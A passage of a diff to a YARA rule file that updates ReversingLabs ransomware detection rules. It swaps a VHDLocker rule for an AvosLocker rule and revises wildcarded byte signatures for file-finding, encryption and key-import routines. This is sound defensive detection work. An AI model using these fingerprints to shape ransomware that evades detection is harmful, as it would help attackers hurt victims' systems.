+            53 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8B 35 ?? ?? ?? ?? FF D6 83 C4 ?? 53 8D 85 ??
+            ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF D6 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ??
+            ?? 50 FF 15 ?? ?? ?? ?? 8B F0 89 75 ?? 83 FE ?? 0F 84 ?? ?? ?? ?? 85 F6 0F 84 ?? ??
+            ?? ?? 33 DB B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ??
+            66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 8B C3 EB ?? 1B C0 83
+            C8 ?? 85 C0 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 66 8B 10 66 3B 11 75
+            ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 8B
+            C3 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ??
+            ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ??
+            F6 85 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 6A ?? 59 BE ?? ?? ?? ?? 8D BD ?? ?? ?? ?? F3
+            A5 6A ?? 59 BE ?? ?? ?? ?? 8D BD ?? ?? ?? ?? F3 A5 66 A5 6A ?? 59 BE ?? ?? ?? ?? 8D
+            BD ?? ?? ?? ?? F3 A5 66 A5 BE ?? ?? ?? ?? 8D BD ?? ?? ?? ?? A5 A5 A5 A5 50 E8 ?? ??
+            ?? ?? 59 8B F0 8D 85 ?? ?? ?? ?? 50 56 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 85 ?? ??
+            ?? ?? 50 56 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 E8 ?? ?? ?? ??
+            59 59 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? FF 75 ??
+            8B 55 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8B 75 ?? E9 ?? ?? ?? ?? FF 75 ?? E9 ??
+            ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F8 66 39 1F 0F 84
         }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($misc_checks_p*)) and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*))
+		uint16(0)==0x5A4D and ($find_files and ( all of ($encrypt_files_p*)) and ( all of ($remote_connection_p*)))
 }
 rule REVERSINGLABS_Win32_Ransomware_Outsider : TC_DETECTION MALICIOUS MALWARE FILE
 {
@@ -42487,8 +42550,8 @@ rule REVERSINGLABS_Win32_Ransomware_Outsider : TC_DETECTION MALICIOUS MALWARE FI
 		date = "2020-10-23"
 		modified = "2020-10-23"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Outsider.yara#L1-L88"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Outsider.yara#L1-L88"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "80c5a93b5b72b7b66e36f1726486b0c7620588d05bd925510d76f020a40b124c"
 		score = 75
 		quality = 90
@@ -42559,18 +42622,18 @@ rule REVERSINGLABS_Win32_Ransomware_Outsider : TC_DETECTION MALICIOUS MALWARE FI
 	condition:
 		uint16(0)==0x5A4D and ($enum_resources) and ($find_files) and ( all of ($encrypt_files_p*))
 }
-rule REVERSINGLABS_Win32_Ransomware_Vhdlocker : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Avoslocker : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects VHDLocker ransomware."
+		description = "Yara rule that detects AvosLocker ransomware."
 		author = "ReversingLabs"
-		id = "696f8145-342b-5da5-b9ec-6f0d16afc465"
-		date = "2020-07-15"
-		modified = "2020-07-15"
+		id = "a803283d-6424-5a64-89e6-c73a3322ba1e"
+		date = "2021-10-22"
+		modified = "2021-10-22"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.VHDLocker.yara#L1-L152"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "39d1fbfc79d5ea866498bb1e40d2290469df774ce65b1da04a85c0e4e5b4493c"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.AvosLocker.yara#L1-L108"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "4d81b801a95a54a35989c4a985d92578971568d1412f625bca911d0fa1eee1fe"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -42578,141 +42641,97 @@ rule REVERSINGLABS_Win32_Ransomware_Vhdlocker : TC_DETECTION MALICIOUS MALWARE F
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "VHDLocker"
+		tc_detection_name = "AvosLocker"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$encrypt_files_p1 = {
-            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1
-            ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B 45 ?? 6A ?? 68
-            ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 50 89 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ??
-            8B D8 89 9D ?? ?? ?? ?? 83 FB ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 4D ?? 50 51 E8 ?? ??
-            ?? ?? 83 C4 ?? 0B C2 74 ?? 53 FF 15 ?? ?? ?? ?? B0 ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ??
-            33 DB 8D 95 ?? ?? ?? ?? 53 52 C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ??
-            ?? ?? 8D 85 ?? ?? ?? ?? 53 50 88 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 9D ?? ??
-            ?? ?? 89 9D ?? ?? ?? ?? 33 F6 8B FF 6A ?? 53 E8 ?? ?? ?? ?? 88 44 35 ?? 46 83 FE ??
-            7C ?? 8D 4D ?? 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? B8 ?? ?? ?? ?? 8D
-            B5 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 88 9D ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 8B CE 89 5D ?? E8 ?? ?? ?? ?? 81 EC ?? ?? ?? ?? 8D
-            85 ?? ?? ?? ?? 8B F4 89 A5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? 6A ?? 50 8D 8D ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 72 ?? 8B 8D
-        }
-		$encrypt_files_p2 = {
-            51 E8 ?? ?? ?? ?? 83 C4 ?? 8B BD ?? ?? ?? ?? 53 53 33 C9 51 33 C0 50 57 FF 15 ?? ??
-            ?? ?? 85 C0 75 ?? 57 FF 15 ?? ?? ?? ?? 32 C0 E9 ?? ?? ?? ?? 53 8D 95 ?? ?? ?? ?? 52
-            68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ??
-            ?? ?? ?? 89 9D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 8B 35 ?? ??
-            ?? ?? 8B 85 ?? ?? ?? ?? 3B C3 0F 84 ?? ?? ?? ?? 6A ?? F7 D8 99 53 52 50 57 FF 15 ??
-            ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 8B 8D ?? ?? ?? ?? 8D 95 ?? ??
-            ?? ?? 52 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 8D 8D ?? ?? ?? ?? 51 50 8D 95 ?? ?? ??
-            ?? 52 57 FF D6 85 C0 0F 84 ?? ?? ?? ?? 39 9D ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 81 BD ??
-            ?? ?? ?? ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? 39 9D ?? ?? ?? ?? 77 ?? 81 BD ?? ?? ?? ?? ??
-            ?? ?? ?? 0F 82 ?? ?? ?? ?? 83 85 ?? ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 11 9D ?? ?? ?? ??
-            83 FA ?? 0F 84 ?? ?? ?? ?? 53 53 33 C9 51 33 C0 50 52 FF 15 ?? ?? ?? ?? A1 ?? ?? ??
-            ?? 50 FF 15 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 8B C3 8D 50 ?? 66 8B 08 83 C0 ?? 66 85 C9
-        }
-		$encrypt_files_p3 = {
-            75 ?? 2B C2 6A ?? D1 F8 8D 8D ?? ?? ?? ?? 51 8D 14 00 A1 ?? ?? ?? ?? 52 53 50 FF D6
-            8B 15 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 6A ?? 68 ?? ?? ?? ?? 52 FF D6 8B 15 ??
-            ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 8D 4D ?? 51 52 FF D6 8B 0D ?? ?? ?? ?? 6A
-            ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 68 ?? ?? ?? ?? 51 FF D6 8B 0D ?? ?? ?? ?? 6A ?? 8D 95
-            ?? ?? ?? ?? 52 6A ?? 8D 85 ?? ?? ?? ?? 50 51 FF D6 EB ?? 8B 9D ?? ?? ?? ?? 6A ?? 33
-            C9 51 51 B8 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 33 DB EB ?? 83 85 ?? ??
-            ?? ?? ?? 11 9D ?? ?? ?? ?? 53 8D 95 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ??
-            50 57 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 8B 4D ?? 8B 55
-            ?? 8B B5 ?? ?? ?? ?? 51 52 8D BD ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 8D 85
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ??
-            ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B D6 52 FF 15 ?? ?? ?? ?? 33 C9
-            51 51 33 C0 51 50 A1 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 51 FF 15 ??
-            ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 53 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 94 C0 8B 4D ?? 64
-            89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3
-        }
-		$find_files_p1 = {
-            55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 68 ?? ?? ?? ?? 33 F6
-            8D 8D ?? ?? ?? ?? 33 C0 56 51 66 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 57 8D 95
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ??
-            ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ?? ?? ??
-            52 FF 15 ?? ?? ?? ?? 8B D8 89 9D ?? ?? ?? ?? 83 FB ?? 0F 84 ?? ?? ?? ?? EB ?? 8D 9B
-            ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? A8 ?? 0F 85 ?? ?? ?? ?? A8 ?? 0F 84 ?? ?? ?? ?? 57 8D
-            85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 51 8D 95
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ??
-            ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 68 ?? ?? ??
-            ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? E9
-            ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? 66 3B D6 74 ??
-            66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 3B D6 75 ?? 33 C0 EB ?? 1B C0 83
+		$find_files = {
+            53 53 53 51 F7 D0 23 85 ?? ?? ?? ?? 53 50 FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 75 ?? FF
+            B5 ?? ?? ?? ?? 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B D8 E9 ?? ?? ?? ?? 8B 85 ?? ?? ??
+            ?? 8B 48 ?? 2B 08 C1 F9 ?? 89 8D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89
+            9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 88 9D ?? ?? ?? ?? E8 ?? ?? ?? ??
+            50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83
+            C4 ?? F7 D8 1B C0 F7 D0 23 85 ?? ?? ?? ?? 80 38 ?? 75 ?? 8A 48 ?? 84 C9 74 ?? 80 F9
+            ?? 75 ?? 38 58 ?? 74 ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 83
+            C4 ?? 89 85 ?? ?? ?? ?? 85 C0 75 ?? 38 9D ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 59 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 85
+            ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 10 8B 40 ?? 2B C2 C1 F8 ?? 3B C8 74 ?? 68 ?? ?? ??
+            ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 38 9D ?? ?? ?? ?? 74 ??
+            FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 59 8B D8 56 FF 15
         }
-		$find_files_p2 = {
-            D8 ?? 3B C6 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 66 8B 10 66 3B 11 75
-            ?? 66 3B D6 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 3B D6 75 ?? 33
-            C0 EB ?? 1B C0 83 D8 ?? 3B C6 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 BB ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? E9 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 90
-            66 8B 10 66 3B 11 75 ?? 66 3B D6 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1
-            ?? 66 3B D6 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 3B C6 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ??
-            8D 85 ?? ?? ?? ?? 8B FF 66 8B 10 66 3B 11 75 ?? 66 3B D6 74 ?? 66 8B 50 ?? 66 3B 51
-            ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 3B D6 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 3B C6 0F 84 ??
-            ?? ?? ?? 57 8D 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8D 95 ?? ??
-            ?? ?? 52 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 85
-            ?? ?? ?? ?? 8B D1 83 C4 ?? 0B D0 89 B5 ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? 74 ?? 50 51 8D
-            85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 83 C4 ?? 3A C1 75 ?? 01 0D ?? ?? ??
-            ?? 11 35 ?? ?? ?? ?? EB ?? 01 0D ?? ?? ?? ?? 11 35 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51
-            53 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B 4D ?? 5E 33 CD
-            B0 ?? 5B E8 ?? ?? ?? ?? 8B E5 5D C3
+		$enum_resources = {
+            50 51 6A ?? 6A ?? 6A ?? C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ??
+            ?? FF 75 ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F8 85 FF 0F 84 ?? ?? ?? ?? FF 75 ?? 6A ?? 57
+            E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 50 57 8D 45 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0
+            0F 85 ?? ?? ?? ?? 33 DB 39 5D ?? 76 ?? 8D 77 ?? 83 7E ?? ?? 0F 85 ?? ?? ?? ?? 83 7E
+            ?? ?? 0F 85 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8D 46 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 85
+            ?? ?? ?? ?? 39 46 ?? B9 ?? ?? ?? ?? 0F 28 05 ?? ?? ?? ?? 8B D1 0F 45 56 ?? 8B C1 83
+            7E ?? ?? 0F 11 85 ?? ?? ?? ?? 0F 45 46 ?? 83 3E ?? 0F 28 05 ?? ?? ?? ?? 89 45 ?? 8B
+            C1 0F 45 06 83 7E ?? ?? 0F 11 45 ?? 89 45 ?? 8B C1 0F 28 05 ?? ?? ?? ?? 0F 45 46 ??
+            33 C9 0F 11 45 ?? 89 45 ?? 0F 28 05 ?? ?? ?? ?? 0F 11 45 ?? 8A 85 ?? ?? ?? ?? 30 84
+            0D ?? ?? ?? ?? 41 83 F9 ?? 72 ?? 52 FF 75 ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? FF 75 ??
+            FF 75 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 3E ?? 0F 84 ?? ?? ?? ?? FF 36 E8 ?? ?? ?? ??
+            59 83 F8 ?? 0F 86 ?? ?? ?? ?? 8B 06 80 78 ?? ?? 75 ?? B1 ?? C7 45 ?? ?? ?? ?? ?? C7
+            45 ?? ?? ?? ?? ?? 33 C0 66 C7 45 ?? ?? ?? C6 45 ?? ?? 30 4C 05 ?? 40 83 F8 ?? 73 ??
+            8A 4D ?? EB ?? 8D 45 ?? C6 45 ?? ?? 50 E8 ?? ?? ?? ?? 59 FF 36 8D 8D ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 83 65 ?? ?? 50 51 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 50 E8 ?? ?? ?? ??
+            C6 45 ?? ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? 83 4D ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ??
+            ?? EB ?? B1 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 33 C0 C7 45 ?? ?? ?? ?? ??
+            C6 45 ?? ?? 30 4C 05 ?? 40 83 F8 ?? 73 ?? 8A 4D ?? EB ?? 8D 45 ?? C6 45 ?? ?? 50 E8
+            ?? ?? ?? ?? 59 F7 46 ?? ?? ?? ?? ?? 74 ?? 8D 4E ?? E8 ?? ?? ?? ?? 43 83 C6 ?? 3B 5D
+            ?? 0F 82 ?? ?? ?? ?? E9 ?? ?? ?? ?? FF 75 ?? FF 15
         }
-		$get_logical_drives_list_p1 = {
-            8D 85 ?? ?? ?? ?? 50 57 89 BD ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ??
-            68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D
-            95 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 57 68 ?? ?? ?? ?? 6A ?? 57
-            57 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 0F 84 ?? ??
-            ?? ?? 83 EC ?? 8B F4 89 7E ?? C7 46 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? B8 ?? ?? ?? ?? 89
-            A5 ?? ?? ?? ?? C6 06 ?? E8 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 33
-            FF 89 7D ?? 83 78 ?? ?? 72 ?? 8B 00 8D 50 ?? 8D A4 24 ?? ?? ?? ?? 8A 08 40 84 C9 75
-            ?? 57 8D 8D ?? ?? ?? ?? 2B C2 51 50 83 EC ?? 8B F4 89 7E ?? C7 46 ?? ?? ?? ?? ?? BF
-            ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 A5 ?? ?? ?? ?? C6 06 ?? E8 ?? ?? ?? ?? 8D B5 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 83 C4 ?? 39 70 ?? 72 ?? 8B 00 50 53 FF 15 ?? ?? ??
-            ?? 39 B5 ?? ?? ?? ?? 72 ?? 8B 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ??
-            ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ??
-            ?? ?? 39 B5 ?? ?? ?? ?? 72 ?? 8B 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 53 FF 15
-            ?? ?? ?? ?? B9 ?? ?? ?? ?? B8 ?? ?? ?? ?? 8D 64 24 ?? 66 8B 10 66 3B 11 75 ?? 66 85
-            D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB
+		$import_key = {
+            50 53 53 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0
+            0F 85 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? 50 68 ?? ??
+            ?? ?? FF D6 50 53 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? B1 ?? C7 85 ?? ?? ?? ?? ?? ?? ??
+            ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8B C3 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 30 8C 05 ?? ??
+            ?? ?? 40 83 F8 ?? 73 ?? 8A 8D ?? ?? ?? ?? EB ?? 8D 85 ?? ?? ?? ?? 88 9D ?? ?? ?? ??
+            50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 0F 28 05 ?? ?? ?? ?? 59 0F 11 85 ?? ?? ?? ??
+            59 0F 28 05 ?? ?? ?? ?? 8B CB 0F 11 85 ?? ?? ?? ?? 66 C7 85 ?? ?? ?? ?? ?? ?? 88 9D
+            ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? 30 84 0D ?? ?? ?? ?? 41 83 F9 ?? 72 ?? 88 9D ?? ?? ??
+            ?? FF D6 50 8D 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? FF 36 8D 45 ?? 89 9D ?? ?? ?? ?? 50 E8
+            ?? ?? ?? ?? FF 76 ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 8B 8D ??
+            ?? ?? ?? 83 C4 ?? 8B D7 50 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ??
+            84 C0 75 ?? 0F 28 05 ?? ?? ?? ?? 8B CB 0F 11 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ??
+            ?? ?? 0F 28 05 ?? ?? ?? ?? 0F 11 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 C7
+            85 ?? ?? ?? ?? ?? ?? 88 9D ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? 30 84 0D ?? ?? ?? ?? 41 83
+            F9 ?? 72 ?? 8D 85 ?? ?? ?? ?? 88 9D ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 8D 45 ?? 50 E8
+            ?? ?? ?? ?? 59 8D 4D ?? 85 C0 74 ?? 88 19 41 83 E8 ?? 75 ?? 39 9D ?? ?? ?? ?? 74 ??
+            FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 4D ?? 5F 5E 33 CD 5B E8
         }
-		$get_logical_drives_list_p2 = {
-            1B C0 83 D8 ?? 85 C0 0F 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? BE ?? ?? ?? ?? 89 85 ?? ??
-            ?? ?? 89 B5 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B CE D3 E2 85 95 ?? ?? ?? ?? 0F 84 ?? ?? ??
-            ?? 8D 4E ?? 66 89 8D ?? ?? ?? ?? 33 C9 6A ?? 51 8D 95 ?? ?? ?? ?? 52 C7 85 ?? ?? ??
-            ?? ?? ?? ?? ?? 66 89 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 FF
-            15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 83 F8 ?? 0F 84
-            ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 95
-            ?? ?? ?? ?? 6A ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ??
-            68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 0F 84 ?? ?? ??
-            ?? 83 EC ?? B8 ?? ?? ?? ?? 8B CC 89 A5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D B5 ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 83 C4 ?? BF ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 39 78 ?? 72 ?? 8B 00 8D
-            50 ?? 8A 08 40 84 C9 75 ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 2B C2 50 83 EC ?? B8 ?? ?? ??
-            ?? 8B CC 89 A5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ??
-            39 78 ?? 72 ?? 8B 00 50 53 FF 15 ?? ?? ?? ?? 39 BD ?? ?? ?? ?? 72 ?? 8B 95 ?? ?? ??
